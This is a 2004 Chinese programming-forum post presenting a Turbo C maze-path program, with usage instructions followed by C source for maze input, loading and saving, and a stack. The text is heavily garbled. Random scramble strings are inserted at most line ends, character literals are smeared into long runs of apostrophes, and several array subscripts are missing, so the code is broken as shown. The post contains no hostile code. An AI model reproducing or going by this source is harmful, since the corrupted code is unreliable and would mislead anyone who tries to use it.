QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7581|回复: 11
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
7 X# {5 \5 u0 U< align=left>程序目的:5 w( g( [1 W, l7 G, K$ z9 n8 m
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
5 Q  D8 U0 K/ s7 }显示在屏幕上。
6 X+ ]2 m7 D* L; x, i程序实现:
$ [" N* S) O( o" W可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
8 a% _7 _% ?, B% U# E7 p8 O文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
, y" C2 ^% X8 K' X, ~入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
( i0 L! {' q# p8 C+ t时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。  @) [+ x# Y! X, H
否则会出现错误信息。输入开始时全是墙,用上下左右键移动,, F( u2 s4 Z5 G3 X
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以/ r, s: O! [3 R$ p& ]' S4 @4 x5 l
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果," g! }5 G+ I& t+ l) q" ]
找到路径时,屏幕下方会出现Path found,否则出现Path not found。
- u  ~$ D  W2 ~2 @6 H' r+ W程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
' T, f: G5 o1 o/ c3 u4 [6 H; z; u不可以在VC上编译。
: F: A5 R, S" h8 X- W  R下载DOS版和windows版的迷宫游戏全部代码
5 b1 W0 b: U6 j; u6 |) t用户名:migong
/ u8 y3 F5 x" ?. B----------------------------------------------------------------------------------5 \/ V$ n6 t& [2 G0 e3 |2 e% m
/*
3 `$ {' T( I0 U+ R$ G! X$ OMazePath Demo BY Turbo C 2.0
- K& R- g: b% \( }$ R4 CCopyright(c) RoverUnion. All right reserved.
- _* ], E! \9 L# [# TFilename: Maze.c* S9 H% I9 j  X4 ^% s6 R8 M
Author Dongchengyu.7 T' C" W3 I% u6 G: _, H! y- q
Ver 1.10( C6 w" L9 @4 d% y
*/- o2 e# t, y( S  G6 _' ~  g
#include &lt;stdio.h&gt;
  }: h; s5 h+ M. y, u) {# _$ }#include &lt;stdlib.h&gt;4 e0 J+ `, G2 P" }3 q- d
#include &lt;malloc.h&gt;
- M1 Y& D* W1 S9 R$ u0 ?8 n) r#include &lt;conio.h&gt;1 `" t0 v/ \+ ]
#include &lt;dos.h&gt;
0 y* a" e1 @4 j#define OK 1* C1 d) k& s+ W# t, C, q. z
#define ERROR 0
# g* s7 w6 y/ X  _#define TRUE 1; G5 v/ u, o4 U1 _( v/ J
#define FALSE 0# D6 V) X4 l3 n) ]
#define F9 0x43
8 ?( Q& `/ W& b& M7 g4 q#define Esc 0x1b" X, o0 y5 e6 v4 x$ K; e
#define Del 0x53
6 S2 l# w/ u5 x  F4 c#define Home 0x47
. j/ x* [" R) k3 }+ p  K#define End 0x4f2 r# v% \/ _, L( b
#define Space 0x20
' E$ r/ ?) ?7 P6 e#define Up 0x48
7 F1 j  _( n# T6 K/ l#define Down 0x508 ~) v8 l- K/ L# Q/ |
#define Left 0x4b; {) k! n! M6 h4 t" e% j3 a; c) y, ]
#define Right 0x4d
# x- x1 t) C. u#define Enter 0x0d
. t) J1 H) |2 |#define F2 0x3c+ b2 F. Y" N; r9 \
#define F3 0x3d
& W. g; f! g/ I9 E! [. s#define STACK_INIT_SIZE 200
9 {! u% V9 n! w" t9 a#define STACKINCREMENT 10
3 r3 C9 w) n* ]$ ~0 I6 Y% @5 Ctypedef int Boolean;
& j  i5 c) C$ b7 r0 y6 ^' H) }typedef int Status;
" M3 T4 b6 T' utypedef struct {
4 g2 Y6 Y) @+ G7 W! _* |int x;" J7 T. B3 u7 [# M* p9 A+ w
int y;% y2 {% {* E4 |, b  s
} PosType;6 d  B7 t4 i$ H2 o
typedef struct {0 @1 y6 o& p" L' X5 ]/ u4 R/ m
int ord;
* _4 N+ g& O8 j9 r. J( Q/ |PosType seat;
2 _0 `- `9 w& i1 Iint di;
2 X2 B. C' F1 p' `9 {. L} SElemType;3 t% n& O+ @6 W! Q
typedef struct {6 t/ |% ~( x- D7 ?$ d* Y
int td;
8 s, P0 V. Q+ S5 B. v! M, ]int foot;" C. p8 m0 F8 ~
int mark;
, N8 \3 V  t: p} MazeType;2 c5 U( K( x: I! j
typedef struct {
" N* p7 f5 Z( l6 YSElemType *base;
+ Q* _! d+ X, P0 X' f$ b$ USElemType *top;0 |3 C7 {) S8 x: [
int stacksize;2 R6 Y: Y: F6 s9 S5 g/ n
} Stack;% M9 J+ |+ I/ d
int Maze[20][30];
( A7 r4 V$ B  f. UMazeType maze[20][30];/ ?$ y9 X1 c3 I! v: A
PosType StartPlace;3 d) W" y: U# R8 O" V
PosType EndPlace;# |" E4 e/ |& m( n6 w' O; j
int count;7 \) J1 F# V0 k, s( a7 p* c
int m,n;
) ?; }0 C; k% J1 g% I( T: DBoolean b_start=FALSE,b_end=FALSE;% ?  U0 q2 B* ^8 I/ [
void CreatMaze(void);
5 A6 N6 C- K3 t* D1 N# q7 n8 wStatus SaveMaze(char *filename);
; P0 U$ D8 R1 y$ f# z  E9 t: GStatus LoadMaze(char *filename);4 J: i5 V: @- O
void Error(char *message);1 L2 V, H! D+ z) x" F
Status InitStack(Stack *s);
' l' O, T; F( uStatus DestroyStack(Stack *s);7 F3 O/ Y4 |) c; L
Status ClearStack(Stack *s);# F  W4 M7 Y7 n2 \5 w" x3 M
Boolean StackEmpty(Stack *s);8 H3 h  m3 i3 c
int StackLength(Stack *s);, B; @# M4 T/ S9 a1 O
Status Push(Stack *s,SElemType e);2 R$ e- d' d9 r7 P8 {
SElemType Pop(Stack *s,SElemType e);
9 W! S; L- s' p: y, X& ~, y) qStatus GetTop(Stack *s,SElemType *e);
4 b9 o5 q' \) C# e; j$ cStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));
6 b% @6 w( f4 HBoolean Pass(PosType curpos);4 j6 m" E+ B3 T" h: C
void MarkPrint(PosType seat);
0 M' {' {; c1 z" s! S# qvoid FootPrint(PosType curpos);
' a8 p6 k% x$ K5 t) ?PosType NextPos(PosType seat,int di);
( B; W& [6 R4 \Status MazePath(PosType start,PosType end);2 I1 M4 F- I1 U6 Z- I
void CreatMaze(void)
: ]7 t, k. @  P. r/* Form the maze. */
/ q1 L' R2 U3 k6 d5 ?. L3 u1 i$ W{
" e1 B  G9 [& J9 c: d4 [3 K8 Y" N% _void Error(char *message);
0 U* B- e1 n) C% A* @Status SaveMaze(char *filename);1 l$ a$ B- z( l( s, ^! B
Status LoadMaze(char *filename);
& ]# U3 E* |8 |' [: Y- {/ ]int i,j;
! G8 r  F2 B, R$ Yint x,y;
5 F* x' ?* t( z( M) ochar c;
; I) g- }0 ^3 S$ `  P. Pchar savename[12],loadname[12];$ b0 n& M! k, A
Boolean flag=FALSE,load=FALSE;
5 L, J7 _: d9 ^# R8 jclrscr();
0 p# l" y( A1 I. N8 z% O3 I6 a* tprintf("Menu:\n\n");
! Z5 M4 \8 P  `printf("1.Load Mazefile*.dd)\n\n");8 i* Q8 A2 T7 B% c" M
printf("2.Input Maze:\n\n");
  q2 v3 z8 e5 l5 X# e8 Eprintf("Input your choice: ");: v  F+ p. g: w+ X) ]
do
, W; t' ?7 q6 T3 w: \, p0 W6 ~' v8 J{
  B% D- U8 }% q2 H  `' ec=getch();3 o$ `, v' c5 X$ @4 z0 Q0 @0 n1 L
switch(c)$ ^8 K, g5 _# y- J
{5 n: {5 o4 x2 g" Q
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;% K$ h- [0 e6 [2 r' L' B# `+ Y$ K/ I
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
$ V( M+ r& R$ f. b6 Mcase Esc: sleep(1); exit(1);
0 D3 y; }1 A5 o6 x9 y2 f8 B2 S6 Gdefault: break;
% M/ h% n% ~' V9 a# u1 }}$ ]. e) r& k+ h6 G; Y; t: }* C% I
}3 [2 {7 a" E  \+ Z9 s
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;: ~# _$ m+ L+ c  k4 x( l
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
  u: R  W3 q7 E! L' T{
* w% w2 X% \  B. O8 V: wprintf("\n\nLoadName: ");8 E, o5 y3 Y4 u$ A4 Y
scanf("%s",loadname);) i! x6 {# Y: ^' s
if(LoadMaze(loadname))% L# N: w5 V; Q  W" i6 v- r& X9 @
{
4 L9 s: U( n3 a# n* \sleep(1); load=TRUE;3 E. q% e- T+ }4 Y, \) @
}. ~0 p# x" Y5 B- b( T9 S! f
else { gotoxy(1,9); printf("Load fail! "); }
3 W0 W% }# |4 N* A1 G}% i5 l" @# G4 L4 e$ Q
if(!load)- v7 O, S, a& w1 G
{( _( e/ h& F0 Y7 w8 j$ y
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
4 a+ g" W3 X6 Uprintf("\nInput Length :\n");
: |5 K% r! [$ ]; r6 {+ N3 _scanf("%d",&amp;m);
, J  @5 M* a8 e1 v8 s3 ~  jprintf("\nInput Width :\n");' Y9 e- I  x5 `8 @
scanf("%d",&amp;n);, ~, W: g: V  _6 Y/ @6 o
if(m&lt;4||n&lt;4) Error("Input");) Z# j( d/ O4 G# l" O9 ?
if(m&gt;30||n&gt;20) Error("Maze too large");! z2 x3 F% j0 Y2 y' E) |; s) Z3 {
for(i=0;i&lt;30;i++)
+ ~) a! R" Q# x0 u) ^: t$ pfor(j=0;j&lt;20;j++)! m3 z, v9 i, S0 n/ C
Maze[j]=2;
1 N; X& X1 ^5 Y+ F9 sStartPlace.x=0;8 V( W3 Z2 t' r% i7 y, O5 u5 p
StartPlace.y=0;) `# y1 J* Z$ ~1 G& E. t
EndPlace.x=0;
2 [4 \  B- H; J5 EEndPlace.y=0;
# F$ j8 g) w4 H/ l& P; I5 h) wclrscr();
" a3 E; e' D  H  O  d8 u. P- Rprintf("\n");
4 J1 q7 K# A" F7 {for(i=1;i&lt;=n;i++)
7 F) Y6 T& J6 J5 \! b5 E/ _( N{
3 o! _' i/ P( q. ]+ X) t9 U  Wfor(j=1;j&lt;=m;j++)7 W9 j! t# H0 s. H4 E. Q2 c) ]
{
) X, y3 w% |; X6 b& Uprintf(" #");) U/ H8 u7 I) b1 k# m
Maze[i-1][j-1]=0;1 p: L4 D& f$ M/ J, G
}' e1 R; ~3 C' @8 t. H
printf("\n");
4 }  f- K( k1 x/ i4 D/ T; k% X}8 q2 w* r- i, h) M2 K+ C
}& |6 }" B0 l* n. K) K  q
gotoxy(65,5);' n4 ?- P' m5 w: o: a
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");, I2 J$ u6 t" H: }
gotoxy(65,7);
* I; T6 n9 @* ?0 T% Gprintf("Start:Home");# s% I" H4 z  b: m2 a
gotoxy(65,9);- e* Z6 ]4 V! H% x( F  |
printf("End:End");
$ B/ C8 `& n7 q4 Fgotoxy(65,11);" m$ P8 `. p" t6 `1 R
printf("Delete Wallel");
  a0 H; E# i' hgotoxy(65,13);8 r0 }' g3 r( {1 U# W% D2 i) ^6 v2 q. p
printf("Enter Wall:Enter");
+ v- B( d9 ]5 L- Jgotoxy(65,15);+ |9 T5 D- G, I
printf("Save Maze:F2");
9 d4 o+ ?" W) p! D8 ^gotoxy(65,17);
# |/ D, p( j! w+ ^# Wprintf("Complete:F9");0 W6 v+ T. D' i" {
gotoxy(65,19);
( E, R  ~( W9 y8 P* F7 lprintf("Exit:Esc");
, K" U( {! E& B# q$ c9 m: y% hgotoxy(4,3);, O$ }( M" m( C% t2 ~0 J
x=4;y=3;3 H) k# e( `2 s& Q0 M' s
do% S2 m2 C8 _. h1 G  r; _
{
  s4 H' }8 g+ g; m; ~c=getch();/ p$ x1 G: G# w' q) N, H+ n
switch(c): d# V! e4 z  Y& v
{) N0 S2 g4 I: c1 g; s
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
8 I, U) `* {' t! ]break;
9 h  x* M# A7 s1 _' G0 F$ s2 ecase Down: if(y&lt;n) { y++; gotoxy(x,y); }
) N" L$ f; e- ebreak;
: \) n: P2 \0 S8 fcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
& `/ {" B7 B7 [* F& \- d3 p7 `) ~) Y4 bbreak;
  O9 c$ O6 I& |, dcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }# k. f& {7 P; K# m% L+ m5 O1 g
break;0 _/ W) x2 v2 l% A
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
) w# Q, p8 z  G( uif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
  [+ \# Q3 p1 V/ w- aputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
+ C% V! R4 i6 N2 n2 L* A7 k4 qbreak;
! [2 f3 [4 I' ^5 q6 b) K* ecase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
. c6 a' G2 w: ^5 T1 pif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;/ l8 E3 W( w" ]( |2 D
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
' l& R9 P, q2 k; v! F5 |- ybreak;+ O1 s& o: z6 _; c( j* N4 U, H
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
) ?8 U0 D+ P% G{
+ R8 H7 k' }: ]! I/ w+ PStartPlace.x=x/2-1;! R' n& I4 F! K$ ]
StartPlace.y=y-2;
7 E0 X6 a, L$ C8 L- }' sputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
& K# S1 b* R0 _; z) lgotoxy(x,y);
" \. n( |- K3 f  fb_start=TRUE;
# @: P' O# b4 Z; c4 g}7 U! U. E/ {2 Z) C1 A' _( s1 e
break;
  B* E. H7 r6 }case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)( t5 Q# [- K2 t
{8 J8 y0 ]+ C/ ]
EndPlace.x=x/2-1;
7 _% [& ]' j7 E( w  w* WEndPlace.y=y-2;
0 b5 c4 Z. t" T" _putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
2 I4 t* r+ j% J! z  j, d3 \+ P' Wgotoxy(x,y);
- ^5 Q/ q; _8 c! Q7 K+ Fb_end=TRUE;: J7 w# ]* l! G
}
0 p3 `$ q  n/ ubreak;. l/ a7 p$ R' a7 i: m5 @
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
% F1 B8 D- `& e0 }0 x) Kcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
, x( ~" ^. F0 h7 y0 |case F2: gotoxy(2,22);
- }8 V$ k' P( i5 Mprintf("Savename:");
2 V) i) ~' Q; ^* C- `/ V$ kscanf("%s",savename);& ]5 ?4 m, F8 h* K) L* C1 f6 I
gotoxy(2,22);
+ W! v5 }! k/ C; E' R0 d6 Zif(SaveMaze(savename)) printf("Save OK! ");
6 P9 d( V% R7 M0 relse printf("Save fail! ");& |; @$ ^( n2 ~, J. ]6 {
sleep(1);
3 Q, L; `5 ]1 c, m6 p5 `$ rgotoxy(2,22);
- K9 Z4 O: @+ bprintf(" ");8 T+ f- u+ \: u
gotoxy(x,y);
8 p" Y6 b. \* s, i9 \break;: M' g" _: _3 d" K! M0 w2 Y/ `; b
default: break;
, I! Z# @' Y! a" S  c}$ k# N3 r# f, Y& t+ }
}
: _! A) X9 G7 \; b8 J- A& Qwhile(!flag);
' f1 Y; x1 c, G, Dfor(i=0;i&lt;30;i++)
7 S! I+ ~# i+ a) pfor(j=0;j&lt;20;j++)4 [  n6 [# k0 U4 w& k# W
{1 m4 I) [0 |9 _/ c2 M: M  V$ c7 j% f
maze[j].td=Maze[j];3 _2 {5 A! u  c$ T2 c5 I
maze[j].mark=0;. B$ u: f1 L3 q8 Q: |
maze[j].foot=0;
1 X9 X( }0 L9 G/ L, I8 Q# Y}& a% ?' ?1 f4 Z( k# f1 n
}
# T- L3 s5 Y/ O$ \8 b' ]Status LoadMaze(char *file)
* Q( \! I  {' h2 A, ]2 |+ S/* The maze has been loaded. */
' j  _- z! E  @3 ?  W{  P! i4 Z( G+ w- H# Q! m6 Y
FILE *fp;; q! G  m4 c; y
char *buffer;* N2 U: c# h  F
char ch;
+ k& K/ n- r* K+ n& W+ {0 {3 Sint i=0,j,k;6 k& o, z: D. v& P  }
Boolean len=FALSE,wid=FALSE;' q( s% v: e, _2 ]0 h
if((fp=fopen(file,"r"))==NULL)
# @" F9 a3 K% H' |$ Creturn ERROR;: C9 i9 q) O/ B5 R
buffer=(char *)malloc(600*sizeof(char));
2 a2 \- o4 p# i, x. ?/ W" zch=fgetc(fp);
: M. C% S4 z; M+ zwhile(ch!=EOF)
4 c$ E' f! m- w- p/ ^{
$ ^& }7 v3 [9 W8 z2 H& Fbuffer=ch;. `8 D  ^# Y/ l. b
i++;
( N5 T6 e% J9 h: x- F) Gch=fgetc(fp);# S7 m4 t2 S, P. u7 j
}4 R) _' k6 L" A4 z; Y/ t8 v2 A3 H  S
m=30;n=20;- d: }+ ]1 z. x) T. _/ u
for(i=0;i&lt;600;i++)- ?$ Y1 @. Z- q9 a/ G
{6 w; y* D6 r; U1 p% L  {
j=i/30; k=i%30;% t0 o' o" \5 e9 N7 V
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }. G- O/ h2 Y( M9 @
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
. ]5 p$ _  h. Q4 @* a0 m$ W) iswitch(buffer)6 \6 X0 A! a. U
{
$ S/ i6 G, X, q, O+ K! Kcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;6 c( r1 i1 r/ @
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;6 }1 `* A( ?$ @4 `4 }
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;9 z" E' q: B9 q$ u% F) M
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;  Y& c0 y8 w5 [# _# d2 G
StartPlace.x=k;
7 b4 A/ x# n( u  M7 \StartPlace.y=j;! `' i" O# R; b' n* S- a  V
b_start=TRUE;
$ n# @$ T& P* H0 V1 n: Ebreak;9 X% E1 F$ A; s8 E& ?$ f3 e' @
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
6 r3 i( M6 i" \" L" n, w, EEndPlace.x=k;
+ v8 G& _6 k# x% w; vEndPlace.y=j;
$ R# h) u1 `1 n' e/ a7 Ob_end=TRUE;+ y  s. F& G) F% j  P
break;
, Z9 T9 d0 L/ @8 _4 s1 o' Wdefault : break;
. A2 m" G  d- e. P) j$ `% T}, c) ~  z0 W) W7 n
}; c% I9 E/ L  r) x' Y
fclose(fp);
9 ?* e8 G5 Q" {+ W5 X7 \clrscr();
# z" F* O4 I& Q& k8 R3 Wfor(i=0;i&lt;30;i++)% [8 c- u- Z: U$ X. p
for(j=0;j&lt;20;j++)  K6 t% r; b" k+ F) s' K' l4 ?- X) D
{
( e# @: G: c5 j, W& pmaze[j].td=Maze[j];$ \' c2 n6 G# g( A
maze[j].foot=0;
0 S# |* _; x' l. X5 zmaze[j].mark=0;
7 z( b4 A: [9 e# N% ~- u; K. yif(Maze[j]==0)
% e/ r$ T2 {- r' B/ @4 s{+ h4 C5 N8 f+ _6 I9 _* |
gotoxy(2*i+2,j+2);
$ J3 e) S6 l% Iputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');2 f4 Y( r7 Z6 X2 F$ {
}
4 a6 [' p& o& _, U9 Z+ a* V}8 a: H; }; W" B( W! M9 Q8 j
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
8 Q  r4 \2 J" aputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');( p  |# V% n/ q2 m) `: i7 t
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
# B) Z& K% t3 K# u$ X) k+ k& O- qputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
4 H$ |  \* ^4 j9 j. ~' ^return OK;" h8 E( C! ?, A7 |0 e! V' |
}' j/ [9 x% `$ Z6 \( _2 `
Status SaveMaze(char *filename)
+ }: i; ?. r7 t) m; b- I' L. ]/* The maze has been saved. */6 _) ^9 R' F" V) Z9 K- _
{1 c8 P6 Z: }4 z" ~
FILE *fp;% m, c5 t5 @) @0 X$ F/ b
char *buffer;; y! _* ?- h, r$ {% L& Q
int i,j,k;
! _0 Y5 u5 a5 L1 {5 H1 e1 w8 ofp=fopen(filename,"wb");- F" F* U- z6 H! ^: L+ ]# G
buffer=(char *)malloc(600*sizeof(char));+ g% W5 _1 Q1 p4 F' U
for(i=0;i&lt;600;i++)
2 i1 n/ V; y4 w( Y{
# @+ m1 U) a3 Ej=i/30; k=i%30;# R6 C2 d0 Z: V: \
switch(Maze[j][k]): o( N" V+ r" P8 Y/ S
{
1 b! d3 d1 }' Ccase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
3 m, \/ X( R4 K2 \5 ~case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;. E9 Z5 P5 y: A# D
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
$ q0 ~% P' i! j( J1 G8 [default : Error("Write"); break;/ v! ~) E: k! h4 E1 D
}) x. ^/ E1 p+ B
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
; c3 t' f+ d3 e& Q9 ^  zif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';. y( p/ l, s1 k8 X* g# s- [
}" ^# O9 o3 m0 u' x
fwrite(buffer,600,1,fp);. h: H$ S0 F9 c8 c
free(buffer);
" W6 e: A8 W- _. Y, ]+ C9 ~& xfclose(fp);) }* k/ c5 a" K; K- L
return OK;
& j& O  Z5 [7 Z% M}
( ^( G/ u! r' j- A( ?: s2 g- o$ Ivoid Error(char *message)
! s) @4 x$ _7 ]- ]) W) W8 q. q% k{
% w& C% W5 J. x5 O% l: cclrscr();
3 T2 q; h# f3 Z* P2 p1 \+ hfprintf(stderr,"Error:%s\n",message);  S' ~% t# g9 _; |
exit(1);. n# {3 v7 ~. V1 e" B
} /* Error */; k7 B; Y2 k. s! p+ t6 r/ A! B
3 q4 v& E7 d" h8 M/ z" Y
Status InitStack(Stack *s)
. a8 w3 r/ p0 k" I  W8 }9 j/* The stack s has been created and is initialized to be empty. */7 ]$ @1 u# f1 _+ c; G( r1 W
{9 o/ z$ z( x: q% F2 P$ T
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
# ?# O. `6 Y" N6 l* q0 h- r! V$ Jif(!s-&gt;base) Error("Overflow");
" }( [' _, ], b  ?, |s-&gt;top=s-&gt;base;
# c, Q* }/ g% ^; W4 Vs-&gt;stacksize=STACK_INIT_SIZE;
6 M1 Y6 x$ i" u5 X' L( Mreturn OK;
# Z$ k& }0 m; J) y8 g} /* InitStack */; c; c& L( g; J' U) F; v: n0 B& p' l  C7 @
Status DestroyStack(Stack *s)
6 Z/ R7 ~! {% ]& U4 W, e% W/* The stack s has been destroyed. */' b( V9 C, u! j$ C  H3 T
{/ c- ]$ O( C2 ~9 J4 }  T2 ^% G5 D
s-&gt;top=NULL;2 D7 V3 c/ I( I7 `. \$ A8 C6 H
s-&gt;stacksize=0;; L1 \4 u9 Z: U& U1 O! V+ O8 Y# i
free(s-&gt;base);
9 m' C' W6 w* j- t" U  us-&gt;base=NULL;
5 J% z/ Y% w( f2 c+ L* {/ W$ Q- d4 }return OK;; _' Z; w& K  b1 [
} /* DestroyStack */7 e: ~, U9 Y) k: a; ~8 t
Status ClearStack(Stack *s)
4 Z" R: S7 K3 [. r/* The stack has been clear to be maximum. */
- M' x7 A( m2 @  @{. k+ R5 a4 z' ?6 `3 O; F% e) o
s-&gt;top=s-&gt;base;
9 N, h7 O: W  z, ?3 a+ ns-&gt;stacksize=STACK_INIT_SIZE;
$ F& S) F: \. K& Breturn OK;
8 f/ S  Z; K% ^) d2 q} /* ClearStack */
0 U1 [/ t- A+ A2 B5 CBoolean StackEmpty(Stack *s)4 J1 \! T9 s* e7 l3 M8 ^
/* Check if the stack s is empty. */
( ]: {' X; T: E  @{1 P. {8 ~; r* a/ o/ s' \
if(s-&gt;top==s-&gt;base) return TRUE;6 @" j9 q/ X% j0 ?& s3 ~; w0 Q' J, p0 |
else return FALSE;! l. B: c. e% u# M
} /* StackEmpty */( J" {+ }( e( B/ `& T0 w, {* k
int StackLength(Stack *s)) v# l" b4 S6 f
/* Gain the length of the stack s. */
7 `9 r$ d; G/ ?$ u# F$ W$ p3 [{
3 s) L9 Z1 K1 c4 qif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
5 w+ f+ q/ W* ^- e: U/ R" t4 Xelse return 0;" s4 E2 T  ~! O, V
} /* StackLength */
9 p) g: N6 B1 U/ i5 A/ r8 h# ^Status Push(Stack *s,SElemType e)
; m! D- l8 X/ O- r+ s/ ^; @/* The element e has been pushed into the stack s. */
5 y, E0 i- O& \5 i- z. k{; A2 ?" v  Y+ ^6 \9 A; ~
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
: r; g/ h  j$ I7 Y. K2 s{9 G! R$ |9 V: S
s-&gt;base=(SElemType *)realloc(s-&gt;base,
& \1 ?0 t& U& t(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));1 Z% x) W  \" ^9 ~0 |8 e0 D
if(!s-&gt;base) Error("Overflow");
4 O1 _( C( q( ^. F: d* L- vs-&gt;top=s-&gt;base+s-&gt;stacksize;
/ e1 l7 ?7 \3 L- Us-&gt;stacksize+=STACKINCREMENT;; ^& @) F8 ~6 i# k
}
, J  s) S% ~/ `* M' u7 Z( j, m. _*s-&gt;top++=e;
" E% I7 v& `7 W1 S( `$ Xreturn OK;
6 I: x3 L: n& R! Y0 g} /* Push */
' _, t8 r% X4 s* A3 U0 E5 _! }! WSElemType Pop(Stack *s,SElemType e)  @& \& L  }# K  f+ C6 B
/* The element e has been removed from the stack s. */+ G$ N% J3 t( g' [
{. d6 X, |2 I, e' Q+ _% L; }
if(s-&gt;top==s-&gt;base) Error("op");/ i/ ?/ b+ @9 P0 z% i
e=*--s-&gt;top;
% a' y1 I+ ?% l1 kreturn e;# @4 S4 o0 H$ U5 o6 H9 R
} /* Pop *// H" Y4 t6 \8 t5 Q/ d
Status GetTop(Stack *s,SElemType *e)
* q) l$ X, w8 M3 n4 j' X1 [. d7 H/* The element e has got to the top of the stack s.*/
' _% m5 A* Q) b* i) d{
, s$ h8 O7 R8 x, w5 \/ f3 _) {) Gif(s-&gt;top==s-&gt;base) Error("GetTop");# m7 W. `; B1 z) f: y& z0 H
*e=*(s-&gt;top-1);
1 p8 a; y) J! a  s/ c5 Z, q' ]return OK;
* H& m) F# s, N0 y7 M( c$ j0 e2 H; D} /* GetTop */  R5 g" W: L8 \" U8 |0 y
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */5 F4 l! b8 a4 f, t7 J& e5 t. b7 H
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))! @: E7 w& o+ U( t' M
{
" e0 G, B$ C8 [* J4 Y6 Y  V  SSElemType p;
0 x) H( H  R( U; Q3 S- Rint result;
9 ~. j/ Y3 s' p8 d( L8 S4 _if(s-&gt;top==s-&gt;base) return ERROR;1 l  I( ?6 {/ j/ z4 `: E
p=s-&gt;base;
- A, ?9 }7 I& n1 H5 ]while(!(p==s-&gt;top))
8 N5 C9 N6 D3 S$ q/ w8 m( `1 X1 P: T) u{, Q$ i- P. O6 l. C9 W% w, q
result=(*visit)(p);# b5 N5 H; \/ v. S8 W5 m! U
p++;: ^6 @, _- ]8 c; e; t: m
}% e( H- L% P  C9 z* I% k
return OK;
$ m( \! P+ O2 o: H5 s) D) I} */
8 n" l& N( l. P6 f  e/ f& J# wBoolean Pass(PosType curpos)0 r# h* \3 r- |) G4 q# E
/* Check if the current position can be passed. */1 P9 }( p% @' l5 e3 _: y
{
* G6 F  A, s' wif(maze[curpos.x][curpos.y].td==1&amp;&amp;" t4 e$ F! a! `' d$ k! d
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
) f6 n) Q7 z# v, breturn TRUE;, N6 `- E- D, |
else return FALSE;
  g3 |/ L0 o- w' }0 b" _} /* Pass */" V- `( U' q6 R7 n+ _7 }6 Z
